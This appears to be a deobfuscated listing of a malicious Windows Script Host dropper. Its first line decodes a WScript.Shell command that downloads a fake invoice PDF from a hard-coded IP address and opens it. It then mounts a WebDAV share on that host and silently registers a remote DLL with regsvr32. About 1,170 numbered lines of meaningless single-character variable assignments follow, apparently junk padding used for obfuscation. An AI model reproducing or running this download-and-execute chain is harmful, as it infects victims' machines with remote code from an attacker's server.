mwbcch + piwrlyia + piwrlyia, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22871768120867.dll",0,false) ➔ 0
14	}
15	dcqdk = "J";
16	dcqdk = "A";
17	dcqdk = "Q";
18	dcqdk = "Z";
19	dcqdk = "g";
20	dcqdk = "O";
21	dcqdk = "M";
22	dcqdk = "x";
23	dcqdk = "s";
24	dcqdk = "z";
25	dcqdk = "P";
26	dcqdk = "B";
27	dcqdk = "G";
28	dcqdk = "Q";
29	dcqdk = "P";
30	dcqdk = "V";
31	dcqdk = "U";
32	dcqdk = "V";
33	dcqdk = "A";
34	dcqdk = "S";
35	dcqdk = "b";
36	dcqdk = "q";
37	dcqdk = "L";
38	dcqdk = "J";
39	dcqdk = "Q";
40	dcqdk = "L";
41	dcqdk = "E";
42	dcqdk = "A";
43	dcqdk = "S";
44	dcqdk = "b";
45	dcqdk = "f";
46	dcqdk = "M";
47	dcqdk = "R";
48	dcqdk = "w";
49	dcqdk = "p";
50	dcqdk = "B";
51	dcqdk = "_";
52	losnls = "u";
53	losnls = "N";
54	losnls = "N";
55	losnls = "a";
56	losnls = "r";
57	losnls = "B";
58	losnls = "g";
59	losnls = "O";
60	losnls = "f";
61	losnls = "u";
62	losnls = "y";
63	losnls = "K";
64	losnls = "V";
65	losnls = "U";
66	losnls = "x";
67	losnls = "s";
68	losnls = "g";
69	losnls = "I";
70	losnls = "f";
71	losnls = "Y";
72	losnls = "N";
73	losnls = "q";
74	losnls = "f";
75	losnls = "D";
76	losnls = "j";
77	losnls = "Z";
78	losnls = "H";
79	losnls = "i";
80	losnls = "j";
81	losnls = "w";
82	losnls = "V";
83	losnls = "S";
84	losnls = "l";
85	losnls = "Z";
86	losnls = "T";
87	losnls = "U";
88	losnls = "a";
89	qcwdllyu = "O";
90	qcwdllyu = "A";
91	qcwdllyu = "i";
92	qcwdllyu = "b";
93	qcwdllyu = "g";
94	qcwdllyu = "J";
95	qcwdllyu = "C";
96	qcwdllyu = "F";
97	qcwdllyu = "t";
98	qcwdllyu = "p";
99	qcwdllyu = "r";
100	qcwdllyu = "C";
101	qcwdllyu = "L";
102	qcwdllyu = "K";
103	qcwdllyu = "i";
104	qcwdllyu = "f";
105	qcwdllyu = "r";
106	qcwdllyu = "c";
107	qcwdllyu = "e";
108	qcwdllyu = "v";
109	qcwdllyu = "k";
110	qcwdllyu = "Q";
111	qcwdllyu = "P";
112	qcwdllyu = "d";
113	qcwdllyu = "Q";
114	qcwdllyu = "S";
115	qcwdllyu = "E";
116	qcwdllyu = "i";
117	qcwdllyu = "K";
118	qcwdllyu = "A";
119	qcwdllyu = "T";
120	qcwdllyu = "h";
121	qcwdllyu = "p";
122	qcwdllyu = "O";
123	qcwdllyu = "f";
124	qcwdllyu = "I";
125	qcwdllyu = "j";
126	qcwdllyu = "d";
127	qcwdllyu = "d";
128	qcwdllyu = "v";
129	qcwdllyu = "n";
130	qcwdllyu = "F";
131	ucjqefjhv = "y";
132	ucjqefjhv = "N";
133	ucjqefjhv = "N";
134	ucjqefjhv = "Q";
135	ucjqefjhv = "l";
136	ucjqefjhv = "U";
137	ucjqefjhv = "B";
138	ucjqefjhv = "G";
139	ucjqefjhv = "I";
140	ucjqefjhv = "h";
141	ucjqefjhv = "x";
142	ucjqefjhv = "G";
143	ucjqefjhv = "h";
144	ucjqefjhv = "o";
145	ucjqefjhv = "Q";
146	ucjqefjhv = "c";
147	ucjqefjhv = "a";
148	ucjqefjhv = "e";
149	ucjqefjhv = "W";
150	ucjqefjhv = "k";
151	abwfomho = "M";
152	abwfomho = "N";
153	abwfomho = "X";
154	abwfomho = "a";
155	abwfomho = "N";
156	abwfomho = "s";
157	abwfomho = "S";
158	abwfomho = "S";
159	abwfomho = "b";
160	abwfomho = "k";
161	abwfomho = "b";
162	abwfomho = "W";
163	abwfomho = "b";
164	abwfomho = "S";
165	abwfomho = "n";
166	abwfomho = "i";
167	abwfomho = "k";
168	abwfomho = "X";
169	abwfomho = "O";
170	abwfomho = "k";
171	abwfomho = "U";
172	vdntznno = "A";
173	vdntznno = "d";
174	vdntznno = "q";
175	vdntznno = "z";
176	vdntznno = "W";
177	vdntznno = "i";
178	vdntznno = "T";
179	vdntznno = "w";
180	vdntznno = "Q";
181	vdntznno = "q";
182	vdntznno = "x";
183	vdntznno = "O";
184	vdntznno = "F";
185	vdntznno = "C";
186	vdntznno = "f";
187	vdntznno = "p";
188	vdntznno = "v";
189	vdntznno = "p";
190	vdntznno = "L";
191	vdntznno = "V";
192	vdntznno = "Z";
193	vdntznno = "S";
194	vdntznno = "h";
195	vdntznno = "c";
196	vdntznno = "k";
197	vdntznno = "U";
198	vdntznno = "F";
199	vdntznno = "G";
200	vdntznno = "s";
201	vdntznno = "n";
202	vdntznno = "Q";
203	vdntznno = "t";
204	vdntznno = "T";
205	vdntznno = "g";
206	vdntznno = "9";
207	mwbcch = "k";
208	mwbcch = "N";
209	mwbcch = "C";
210	mwbcch = "d";
211	dogqit = "x";
212	dogqit = "f";
213	dogqit = "c";
214	dogqit = "z";
215	dogqit = "A";
216	dogqit = "Z";
217	dogqit = "g";
218	dogqit = "T";
219	dogqit = "p";
220	dogqit = "s";
221	dogqit = "O";
222	dogqit = "U";
223	dogqit = "Z";
224	dogqit = "c";
225	dogqit = "X";
226	dogqit = "w";
227	dogqit = "f";
228	dogqit = "J";
229	dogqit = "U";
230	dogqit = "F";
231	dogqit = "I";
232	dogqit = "m";
233	dogqit = "c";
234	dogqit = "k";
235	dogqit = "Z";
236	dogqit = "y";
237	dogqit = "i";
238	dogqit = "P";
239	dogqit = "s";
240	dogqit = "l";
241	dogqit = "j";
242	dogqit = "O";
243	dogqit = "r";
244	dogqit = "p";
245	dogqit = "W";
246	dogqit = "Y";
247	dogqit = "Q";
248	dogqit = "P";
249	dogqit = "K";
250	dogqit = "B";
251	dogqit = "N";
252	dogqit = "n";
253	bmobcjt = "X";
254	bmobcjt = "y";
255	bmobcjt = "t";
256	bmobcjt = "A";
257	bmobcjt = "P";
258	bmobcjt = "x";
259	bmobcjt = "s";
260	bmobcjt = "Q";
261	bmobcjt = "k";
262	bmobcjt = "J";
263	bmobcjt = "B";
264	bmobcjt = "x";
265	bmobcjt = "c";
266	bmobcjt = "W";
267	bmobcjt = "r";
268	bmobcjt = "p";
269	bmobcjt = "C";
270	bmobcjt = "V";
271	bmobcjt = "T";
272	bmobcjt = "A";
273	bmobcjt = "d";
274	bmobcjt = "s";
275	bmobcjt = "u";
276	bmobcjt = "2";
277	xchibu = "L";
278	xchibu = "b";
279	xchibu = "a";
280	xchibu = "F";
281	xchibu = "V";
282	xchibu = "g";
283	xchibu = "r";
284	xchibu = "k";
285	xchibu = "T";
286	xchibu = "d";
287	xchibu = "z";
288	xchibu = "S";
289	xchibu = "X";
290	xchibu = "I";
291	xchibu = "x";
292	xchibu = "A";
293	xchibu = "I";
294	xchibu = "b";
295	xchibu = "b";
296	xchibu = "g";
297	xchibu = "K";
298	xchibu = "X";
299	xchibu = "l";
300	xchibu = "s";
301	xchibu = "y";
302	xchibu = "T";
303	xchibu = "W";
304	xchibu = "u";
305	azuahu = "F";
306	azuahu = "u";
307	azuahu = "W";
308	azuahu = "k";
309	azuahu = "a";
310	azuahu = "o";
311	azuahu = "P";
312	azuahu = "B";
313	azuahu = "H";
314	azuahu = "1";
315	rkobcn = "X";
316	rkobcn = "e";
317	rkobcn = "Y";
318	rkobcn = "B";
319	rkobcn = "V";
320	rkobcn = "N";
321	rkobcn = "w";
322	rkobcn = "W";
323	rkobcn = "k";
324	rkobcn = "y";
325	rkobcn = "k";
326	rkobcn = "L";
327	rkobcn = "C";
328	rkobcn = "T";
329	rkobcn = "m";
330	rkobcn = "m";
331	rkobcn = "w";
332	rkobcn = "H";
333	rkobcn = "R";
334	rkobcn = "S";
335	rkobcn = "d";
336	rkobcn = "j";
337	rkobcn = "U";
338	rkobcn = "T";
339	fklgkxz = "G";
340	fklgkxz = "R";
341	zbbhzre = "E";
342	zbbhzre = "P";
343	mrrgenx = "W";
344	mrrgenx = "p";
345	mrrgenx = "Z";
346	mrrgenx = "n";
347	mrrgenx = "J";
348	mrrgenx = "Y";
349	mrrgenx = "W";
350	mrrgenx = "x";
351	mrrgenx = "X";
352	mrrgenx = "b";
353	mrrgenx = "w";
354	mrrgenx = "L";
355	mrrgenx = "z";
356	mrrgenx = "C";
357	mrrgenx = "V";
358	mrrgenx = "v";
359	mrrgenx = "m";
360	mrrgenx = "B";
361	mrrgenx = "E";
362	mrrgenx = "Z";
363	mrrgenx = "g";
364	mrrgenx = "H";
365	mrrgenx = "a";
366	mrrgenx = "V";
367	mrrgenx = "X";
368	mrrgenx = "I";
369	mrrgenx = "z";
370	mrrgenx = "t";
371	mrrgenx = "t";
372	mrrgenx = "a";
373	mrrgenx = "Z";
374	mrrgenx = "v";
375	mrrgenx = "Y";
376	mrrgenx = "J";
377	mrrgenx = "O";
378	tmgyubv = "n";
379	tmgyubv = "r";
380	tmgyubv = "O";
381	tmgyubv = "y";
382	tmgyubv = "Z";
383	tmgyubv = "o";
384	tmgyubv = "E";
385	tmgyubv = "P";
386	tmgyubv = "e";
387	tmgyubv = "C";
388	tmgyubv = "r";
389	tmgyubv = "E";
390	tmgyubv = "i";
391	tmgyubv = "k";
392	tmgyubv = "o";
393	tmgyubv = "h";
394	tmgyubv = "E";
395	tmgyubv = "7";
396	cxaswdqv = "R";
397	cxaswdqv = "H";
398	cxaswdqv = "m";
399	cxaswdqv = "V";
400	cxaswdqv = "F";
401	cxaswdqv = "U";
402	cxaswdqv = "f";
403	cxaswdqv = "W";
404	cxaswdqv = "U";
405	cxaswdqv = "c";
406	cxaswdqv = "G";
407	cxaswdqv = "B";
408	cxaswdqv = "r";
409	cxaswdqv = "q";
410	cxaswdqv = "U";
411	cxaswdqv = "o";
412	cxaswdqv = "p";
413	cxaswdqv = "e";
414	cxaswdqv = "S";
415	cxaswdqv = "D";
416	cxaswdqv = "J";
417	cxaswdqv = "W";
418	cxaswdqv = "P";
419	cxaswdqv = "S";
420	cxaswdqv = "t";
421	dghozt = "v";
422	dghozt = "u";
423	dghozt = "h";
424	dghozt = "W";
425	dghozt = "z";
426	dghozt = "T";
427	dghozt = "O";
428	dghozt = "m";
429	dghozt = "g";
430	dghozt = "G";
431	dghozt = "y";
432	dghozt = "b";
433	dghozt = "j";
434	dghozt = "A";
435	dghozt = "H";
436	dghozt = "Z";
437	dghozt = "v";
438	dghozt = "k";
439	dghozt = "e";
440	dghozt = "k";
441	dghozt = "U";
442	dghozt = "I";
443	dghozt = "S";
444	dghozt = "Q";
445	dghozt = "Y";
446	dghozt = "l";
447	dghozt = "r";
448	dghozt = "N";
449	dghozt = "e";
450	dghozt = "z";
451	dghozt = "a";
452	dghozt = "A";
453	dghozt = "y";
454	dghozt = "k";
455	dghozt = "R";
456	dghozt = "S";
457	dghozt = "w";
458	cxitutpkt = "V";
459	cxitutpkt = "v";
460	cxitutpkt = "z";
461	cxitutpkt = "Q";
462	cxitutpkt = "A";
463	cxitutpkt = "x";
464	cxitutpkt = "j";
465	cxitutpkt = "f";
466	cxitutpkt = "q";
467	cxitutpkt = "B";
468	cxitutpkt = "U";
469	cxitutpkt = "v";
470	cxitutpkt = "U";
471	cxitutpkt = "T";
472	cxitutpkt = "P";
473	cxitutpkt = "b";
474	cxitutpkt = "w";
475	cxitutpkt = "Y";
476	cxitutpkt = "m";
477	cxitutpkt = "M";
478	cxitutpkt = "L";
479	cxitutpkt = "m";
480	cxitutpkt = "i";
481	cxitutpkt = "J";
482	cxitutpkt = "z";
483	cxitutpkt = "C";
484	cxitutpkt = "J";
485	cxitutpkt = "B";
486	cxitutpkt = "i";
487	cxitutpkt = "L";
488	cxitutpkt = "T";
489	cxitutpkt = "j";
490	cxitutpkt = "L";
491	cxitutpkt = "J";
492	cxitutpkt = "f";
493	cxitutpkt = "h";
494	cxitutpkt = "n";
495	cxitutpkt = "8";
496	brdfjsx = "T";
497	brdfjsx = "C";
498	brdfjsx = "t";
499	brdfjsx = "f";
500	brdfjsx = "k";
501	brdfjsx = "O";
502	brdfjsx = "g";
503	brdfjsx = "z";
504	brdfjsx = "W";
505	brdfjsx = "y";
506	brdfjsx = "j";
507	brdfjsx = "G";
508	brdfjsx = "Z";
509	brdfjsx = "i";
510	brdfjsx = "@";
511	jurvt = "w";
512	jurvt = "W";
513	jurvt = "D";
514	jurvt = "H";
515	qispecmvd = "L";
516	qispecmvd = "n";
517	qispecmvd = "s";
518	qispecmvd = "B";
519	qispecmvd = "s";
520	qispecmvd = "e";
521	qispecmvd = "Q";
522	qispecmvd = "o";
523	qispecmvd = "l";
524	qispecmvd = "Y";
525	qispecmvd = "C";
526	qispecmvd = "s";
527	qispecmvd = "u";
528	qispecmvd = "e";
529	qispecmvd = "m";
530	qispecmvd = "g";
531	qispecmvd = "O";
532	qispecmvd = "n";
533	qispecmvd = ":";
534	xoszxz = "p";
535	xoszxz = "W";
536	xoszxz = "K";
537	xoszxz = "c";
538	xoszxz = "k";
539	xoszxz = "G";
540	xoszxz = "S";
541	xoszxz = "Y";
542	xoszxz = "b";
543	xoszxz = "X";
544	xoszxz = "G";
545	xoszxz = "d";
546	xoszxz = "u";
547	xoszxz = "k";
548	xoszxz = "e";
549	xoszxz = "y";
550	xoszxz = "j";
551	xoszxz = "N";
552	xoszxz = "i";
553	xoszxz = "L";
554	xoszxz = "c";
555	xoszxz = "I";
556	xoszxz = "E";
557	xoszxz = "G";
558	xoszxz = "r";
559	xoszxz = "z";
560	xoszxz = "X";
561	xoszxz = "L";
562	xoszxz = "W";
563	hzxkhnl = "Z";
564	hzxkhnl = "q";
565	hzxkhnl = "O";
566	hzxkhnl = "T";
567	hzxkhnl = "C";
568	hzxkhnl = "i";
569	hzxkhnl = "i";
570	hzxkhnl = "r";
571	hzxkhnl = "D";
572	hzxkhnl = "Z";
573	hzxkhnl = "q";
574	hzxkhnl = "t";
575	hzxkhnl = "x";
576	hzxkhnl = "Q";
577	hzxkhnl = "S";
578	hzxkhnl = "E";
579	hzxkhnl = "C";
580	hzxkhnl = "N";
581	hzxkhnl = "U";
582	hzxkhnl = "j";
583	hzxkhnl = "M";
584	hzxkhnl = "m";
585	hzxkhnl = "X";
586	hzxkhnl = "f";
587	hzxkhnl = "D";
588	hzxkhnl = "v";
589	hzxkhnl = "T";
590	hzxkhnl = "I";
591	hzxkhnl = "J";
592	hzxkhnl = "P";
593	hzxkhnl = "t";
594	hzxkhnl = "j";
595	hzxkhnl = "L";
596	hzxkhnl = "B";
597	hzxkhnl = "Z";
598	hzxkhnl = "d";
599	hzxkhnl = "A";
600	hzxkhnl = ".";
601	mahxka = "u";
602	mahxka = "n";
603	mahxka = "b";
604	mahxka = "G";
605	mahxka = "d";
606	mahxka = "w";
607	mahxka = "B";
608	mahxka = "N";
609	mahxka = "s";
610	mahxka = "V";
611	mahxka = "X";
612	mahxka = "F";
613	mahxka = "S";
614	mahxka = "I";
615	mahxka = "h";
616	mahxka = "p";
617	mahxka = "G";
618	mahxka = "C";
619	mahxka = "I";
620	mahxka = "z";
621	mahxka = "M";
622	mahxka = "K";
623	mahxka = "a";
624	mahxka = "R";
625	mahxka = "u";
626	mahxka = "U";
627	mahxka = "E";
628	mahxka = "r";
629	mahxka = "b";
630	mahxka = "u";
631	mahxka = "J";
632	mahxka = "A";
633	mahxka = "Z";
634	mahxka = "f";
635	mahxka = "x";
636	mahxka = "q";
637	mahxka = "V";
638	mahxka = "Z";
639	mahxka = "L";
640	mahxka = "w";
641	mahxka = "W";
642	mahxka = "k";
643	mahxka = "v";
644	mahxka = "u";
645	mahxka = "e";
646	piwrlyia = "J";
647	piwrlyia = "Q";
648	piwrlyia = "T";
649	piwrlyia = "d";
650	piwrlyia = "D";
651	piwrlyia = "E";
652	piwrlyia = "G";
653	piwrlyia = "L";
654	piwrlyia = "w";
655	piwrlyia = "W";
656	piwrlyia = "U";
657	piwrlyia = "U";
658	piwrlyia = "Y";
659	piwrlyia = "Q";
660	piwrlyia = "f";
661	piwrlyia = "n";
662	piwrlyia = "R";
663	piwrlyia = "d";
664	piwrlyia = "V";
665	piwrlyia = "j";
666	piwrlyia = "V";
667	piwrlyia = "c";
668	piwrlyia = "f";
669	piwrlyia = "q";
670	piwrlyia = "f";
671	piwrlyia = "T";
672	piwrlyia = "A";
673	piwrlyia = "a";
674	piwrlyia = "Y";
675	piwrlyia = "m";
676	piwrlyia = "W";
677	piwrlyia = "L";
678	piwrlyia = "r";
679	piwrlyia = "v";
680	piwrlyia = "z";
681	piwrlyia = "t";
682	piwrlyia = "Y";
683	piwrlyia = "n";
684	piwrlyia = "j";
685	piwrlyia = "l";
686	ybqjdysv = "q";
687	ybqjdysv = "o";
688	ybqjdysv = "x";
689	ybqjdysv = "T";
690	ybqjdysv = "x";
691	ybqjdysv = "u";
692	ybqjdysv = "l";
693	ybqjdysv = "L";
694	ybqjdysv = "b";
695	ybqjdysv = "o";
696	ybqjdysv = "T";
697	ybqjdysv = "U";
698	ybqjdysv = "f";
699	ybqjdysv = "s";
700	ybqjdysv = "A";
701	ybqjdysv = "u";
702	ybqjdysv = "U";
703	ybqjdysv = "v";
704	ybqjdysv = "K";
705	ybqjdysv = "E";
706	ybqjdysv = "Y";
707	ybqjdysv = "s";
708	ybqjdysv = "p";
709	wvhyduzlr = "j";
710	wvhyduzlr = "q";
711	wvhyduzlr = "v";
712	wvhyduzlr = "x";
713	wvhyduzlr = "O";
714	wvhyduzlr = "c";
715	wvhyduzlr = "Z";
716	wvhyduzlr = "S";
717	wvhyduzlr = "l";
718	wvhyduzlr = "f";
719	wvhyduzlr = "l";
720	wvhyduzlr = "S";
721	wvhyduzlr = "y";
722	wvhyduzlr = "G";
723	wvhyduzlr = "N";
724	wvhyduzlr = "m";
725	wvhyduzlr = "K";
726	wvhyduzlr = "R";
727	wvhyduzlr = "C";
728	wvhyduzlr = "V";
729	wvhyduzlr = "t";
730	wvhyduzlr = "y";
731	wvhyduzlr = "f";
732	wvhyduzlr = "s";
733	wvhyduzlr = "x";
734	wvhyduzlr = "j";
735	wvhyduzlr = "K";
736	wvhyduzlr = "i";
737	wvhyduzlr = "%";
738	zhmtk = "c";
739	zhmtk = "H";
740	zhmtk = "v";
741	zhmtk = "f";
742	zhmtk = "A";
743	zhmtk = "X";
744	zhmtk = "D";
745	zhmtk = "m";
746	zhmtk = "v";
747	zhmtk = "l";
748	zhmtk = "d";
749	zhmtk = "I";
750	zhmtk = "I";
751	zhmtk = "T";
752	zhmtk = "u";
753	zhmtk = "k";
754	zhmtk = "E";
755	zhmtk = "t";
756	zhmtk = "G";
757	zhmtk = "r";
758	zhmtk = "w";
759	zhmtk = "X";
760	zhmtk = "E";
761	zhmtk = "s";
762	zhmtk = "C";
763	zhmtk = "T";
764	zhmtk = "W";
765	zhmtk = "D";
766	zhmtk = "L";
767	zhmtk = "d";
768	zhmtk = "C";
769	npibgv = "m";
770	npibgv = "z";
771	npibgv = "R";
772	npibgv = "f";
773	npibgv = "w";
774	npibgv = "m";
775	npibgv = "e";
776	npibgv = "H";
777	npibgv = "m";
778	npibgv = "v";
779	npibgv = "q";
780	npibgv = "p";
781	npibgv = "K";
782	npibgv = "p";
783	npibgv = "v";
784	npibgv = "T";
785	npibgv = "I";
786	npibgv = "O";
787	npibgv = "P";
788	npibgv = "G";
789	npibgv = "P";
790	npibgv = "a";
791	npibgv = "I";
792	npibgv = "T";
793	npibgv = "a";
794	npibgv = "p";
795	npibgv = "R";
796	npibgv = "L";
797	npibgv = "e";
798	npibgv = "B";
799	npibgv = "l";
800	npibgv = "u";
801	npibgv = "v";
802	npibgv = "u";
803	npibgv = "k";
804	npibgv = "T";
805	npibgv = "V";
806	npibgv = "&";
807	kkemozph = "e";
808	kkemozph = "E";
809	kkemozph = "t";
810	kkemozph = "Q";
811	kkemozph = "D";
812	kkemozph = "h";
813	kkemozph = "f";
814	kkemozph = "y";
815	kkemozph = "W";
816	kkemozph = "o";
817	kkemozph = "Q";
818	kkemozph = "m";
819	kkemozph = "E";
820	gvkap = "I";
821	gvkap = "O";
822	gvkap = "z";
823	gvkap = "X";
824	gvkap = "S";
825	gvkap = "c";
826	gvkap = "j";
827	gvkap = "o";
828	gvkap = "g";
829	gvkap = "U";
830	gvkap = "a";
831	gvkap = "o";
832	gvkap = "b";
833	gvkap = "u";
834	gvkap = "u";
835	gvkap = "T";
836	gvkap = "j";
837	gvkap = "P";
838	gvkap = "H";
839	gvkap = "b";
840	gvkap = "n";
841	gvkap = "H";
842	gvkap = "C";
843	gvkap = "x";
844	gvkap = "M";
845	gvkap = "I";
846	gvkap = "B";
847	gvkap = "O";
848	gvkap = "m";
849	gvkap = "q";
850	gvkap = "N";
851	gczij = "L";
852	gczij = "M";
853	gczij = "p";
854	gczij = "y";
855	gczij = "b";
856	gczij = "w";
857	gczij = "s";
858	gczij = "A";
859	gczij = "A";
860	gczij = "s";
861	gczij = "T";
862	gczij = "X";
863	gczij = "D";
864	gczij = "K";
865	gczij = "d";
866	gczij = "j";
867	gczij = "O";
868	gczij = "N";
869	gczij = "V";
870	gczij = "R";
871	gczij = "O";
872	gczij = "z";
873	gczij = "Q";
874	gczij = "A";
875	gczij = "d";
876	gczij = "U";
877	gczij = "D";
878	gczij = "T";
879	gczij = "y";
880	gczij = "z";
881	gczij = "R";
882	gczij = "d";
883	gczij = "I";
884	awrhi = "f";
885	awrhi = "m";
886	awrhi = "x";
887	awrhi = "e";
888	awrhi = "D";
889	awrhi = "e";
890	awrhi = "M";
891	awrhi = "n";
892	awrhi = "u";
893	awrhi = "P";
894	awrhi = "t";
895	awrhi = "H";
896	awrhi = "Z";
897	awrhi = "J";
898	awrhi = "f";
899	awrhi = "G";
900	awrhi = "r";
901	awrhi = "N";
902	awrhi = "m";
903	awrhi = "v";
904	awrhi = "s";
905	awrhi = "p";
906	awrhi = "n";
907	awrhi = "N";
908	awrhi = "X";
909	awrhi = "Y";
910	awrhi = "j";
911	lntuwf = "Q";
912	lntuwf = "d";
913	lntuwf = "X";
914	lntuwf = "W";
915	lntuwf = "m";
916	lntuwf = "s";
917	lntuwf = "Z";
918	lntuwf = "A";
919	lntuwf = "n";
920	lntuwf = "w";
921	lntuwf = "s";
922	lntuwf = "Q";
923	lntuwf = "C";
924	lntuwf = "d";
925	lntuwf = "k";
926	lntuwf = "a";
927	lntuwf = "i";
928	lntuwf = "i";
929	lntuwf = "E";
930	lntuwf = "b";
931	lntuwf = "n";
932	lntuwf = "o";
933	lntuwf = "q";
934	lntuwf = "J";
935	lntuwf = "Z";
936	lntuwf = "I";
937	lntuwf = "b";
938	lntuwf = "A";
939	lntuwf = "Z";
940	lntuwf = "W";
941	lntuwf = "o";
942	xpiybuo = "g";
943	xpiybuo = "W";
944	xpiybuo = "x";
945	xpiybuo = "C";
946	xpiybuo = "p";
947	xpiybuo = "M";
948	xpiybuo = "e";
949	xpiybuo = "X";
950	xpiybuo = "c";
951	xpiybuo = "S";
952	xpiybuo = "j";
953	xpiybuo = "V";
954	xpiybuo = "j";
955	xpiybuo = "C";
956	xpiybuo = "M";
957	xpiybuo = "h";
958	xpiybuo = "B";
959	xpiybuo = "V";
960	xpiybuo = "X";
961	xpiybuo = "E";
962	xpiybuo = "R";
963	xpiybuo = "u";
964	xpiybuo = "c";
965	beonmqfpq = "R";
966	beonmqfpq = "W";
967	beonmqfpq = "d";
968	beonmqfpq = "P";
969	beonmqfpq = "X";
970	beonmqfpq = "U";
971	beonmqfpq = "v";
972	beonmqfpq = "f";
973	beonmqfpq = "P";
974	beonmqfpq = "l";
975	beonmqfpq = "b";
976	beonmqfpq = "x";
977	beonmqfpq = "y";
978	beonmqfpq = "w";
979	beonmqfpq = "g";
980	beonmqfpq = "Q";
981	beonmqfpq = "c";
982	beonmqfpq = "m";
983	beonmqfpq = "v";
984	beonmqfpq = "m";
985	beonmqfpq = "y";
986	beonmqfpq = "t";
987	beonmqfpq = "h";
988	beonmqfpq = "R";
989	beonmqfpq = "I";
990	beonmqfpq = "y";
991	beonmqfpq = "Y";
992	beonmqfpq = "X";
993	beonmqfpq = " ";
994	qlnoa = "G";
995	qlnoa = "k";
996	qlnoa = "I";
997	qlnoa = "M";
998	qlnoa = "L";
999	qlnoa = "e";
1000	qlnoa = "e";
1001	qlnoa = "l";
1002	qlnoa = "W";
1003	qlnoa = "A";
1004	qlnoa = "V";
1005	qlnoa = "h";
1006	qlnoa = "q";
1007	qlnoa = "G";
1008	qlnoa = "S";
1009	qlnoa = "D";
1010	qlnoa = "g";
1011	qlnoa = "V";
1012	qlnoa = "a";
1013	qlnoa = "c";
1014	qlnoa = "H";
1015	qlnoa = "\"";
1016	zpuexsjrx = "E";
1017	zpuexsjrx = "D";
1018	zpuexsjrx = "I";
1019	zpuexsjrx = "I";
1020	zpuexsjrx = "c";
1021	zpuexsjrx = "k";
1022	zpuexsjrx = "Y";
1023	zpuexsjrx = "D";
1024	zpuexsjrx = "G";
1025	zpuexsjrx = "y";
1026	zpuexsjrx = "S";
1027	zpuexsjrx = "D";
1028	zpuexsjrx = "G";
1029	zpuexsjrx = "W";
1030	zpuexsjrx = "S";
1031	bihdryqxx = "k";
1032	bihdryqxx = "X";
1033	bihdryqxx = "G";
1034	bihdryqxx = "J";
1035	bihdryqxx = "B";
1036	bihdryqxx = "h";
1037	bihdryqxx = "d";
1038	bihdryqxx = "I";
1039	bihdryqxx = "L";
1040	bihdryqxx = "O";
1041	bihdryqxx = "g";
1042	bihdryqxx = "K";
1043	bihdryqxx = "g";
1044	bihdryqxx = "m";
1045	bihdryqxx = "E";
1046	bihdryqxx = "I";
1047	bihdryqxx = "D";
1048	bihdryqxx = "l";
1049	bihdryqxx = "Q";
1050	bihdryqxx = "r";
1051	bihdryqxx = "J";
1052	bihdryqxx = "u";
1053	bihdryqxx = "E";
1054	bihdryqxx = "E";
1055	bihdryqxx = "S";
1056	bihdryqxx = "r";
1057	bihdryqxx = "x";
1058	bihdryqxx = "t";
1059	bihdryqxx = "D";
1060	bihdryqxx = "b";
1061	bihdryqxx = "Q";
1062	bihdryqxx = "Y";
1063	bihdryqxx = "B";
1064	bihdryqxx = "v";
1065	cflpm = "T";
1066	cflpm = "A";
1067	cflpm = "x";
1068	eqiec = "i";
1069	eqiec = "u";
1070	eqiec = "n";
1071	eqiec = "R";
1072	eqiec = "o";
1073	eqiec = "e";
1074	eqiec = "N";
1075	eqiec = "q";
1076	eqiec = "q";
1077	eqiec = "m";
1078	eqiec = "Z";
1079	eqiec = "I";
1080	eqiec = "H";
1081	eqiec = "L";
1082	xnfilfevc = "T";
1083	xnfilfevc = "X";
1084	xnfilfevc = "f";
1085	xnfilfevc = "s";
1086	xnfilfevc = "g";
1087	xnfilfevc = "M";
1088	xnfilfevc = "M";
1089	xnfilfevc = "c";
1090	xnfilfevc = "D";
1091	xnfilfevc = "e";
1092	xnfilfevc = "X";
1093	xnfilfevc = "E";
1094	xnfilfevc = "x";
1095	xnfilfevc = "X";
1096	xnfilfevc = "K";
1097	xnfilfevc = "j";
1098	xnfilfevc = "m";
1099	xnfilfevc = "W";
1100	xnfilfevc = "a";
1101	xnfilfevc = "J";
1102	xnfilfevc = "d";
1103	xnfilfevc = "Q";
1104	xnfilfevc = "A";
1105	xnfilfevc = "r";
1106	xnfilfevc = "N";
1107	xnfilfevc = "V";
1108	xnfilfevc = "M";
1109	xnfilfevc = "y";
1110	xnfilfevc = "m";
1111	xnfilfevc = "O";
1112	xnfilfevc = "i";
1113	xnfilfevc = "b";
1114	xnfilfevc = "c";
1115	xnfilfevc = "D";
1116	xnfilfevc = "E";
1117	xnfilfevc = "P";
1118	xnfilfevc = "H";
1119	xnfilfevc = "t";
1120	xnfilfevc = "j";
1121	xnfilfevc = "E";
1122	xnfilfevc = "Y";
1123	xnfilfevc = "3";
1124	oledb = "w";
1125	oledb = "G";
1126	oledb = "I";
1127	oledb = "B";
1128	oledb = "P";
1129	oledb = "a";
1130	oledb = "r";
1131	oledb = "c";
1132	oledb = "f";
1133	huvndkamm = "r";
1134	huvndkamm = "D";
1135	huvndkamm = "l";
1136	huvndkamm = "F";
1137	huvndkamm = "h";
1138	huvndkamm = "f";
1139	huvndkamm = "f";
1140	huvndkamm = "Z";
1141	huvndkamm = "C";
1142	huvndkamm = "n";
1143	huvndkamm = "K";
1144	huvndkamm = "u";
1145	huvndkamm = "f";
1146	huvndkamm = "z";
1147	huvndkamm = "V";
1148	huvndkamm = "A";
1149	huvndkamm = "f";
1150	huvndkamm = "i";
1151	huvndkamm = "e";
1152	huvndkamm = "W";
1153	huvndkamm = "t";
1154	huvndkamm = "R";
1155	huvndkamm = "k";
1156	huvndkamm = "t";
1157	huvndkamm = "R";
1158	huvndkamm = "H";
1159	huvndkamm = "o";
1160	huvndkamm = "b";
1161	huvndkamm = "O";
1162	huvndkamm = "Y";
1163	huvndkamm = "N";
1164	huvndkamm = "w";
1165	huvndkamm = "J";
1166	huvndkamm = "E";
1167	huvndkamm = "j";
1168	huvndkamm = "O";
1169	huvndkamm = "O";
1170	huvndkamm = "W";
1171	huvndkamm = "w";
1172	huvndkamm = "w";
1173	huvndkamm = "k";
1174	huvndkamm = "Q";
1175	huvndkamm = "U";
1176	huvndkamm = "K";
1177	vjwmesl = "m";
1178	vjwmesl = "r";
1179	vjwmesl = "h";
1180	vjwmesl = "T";
1181	vjwmesl = "D";
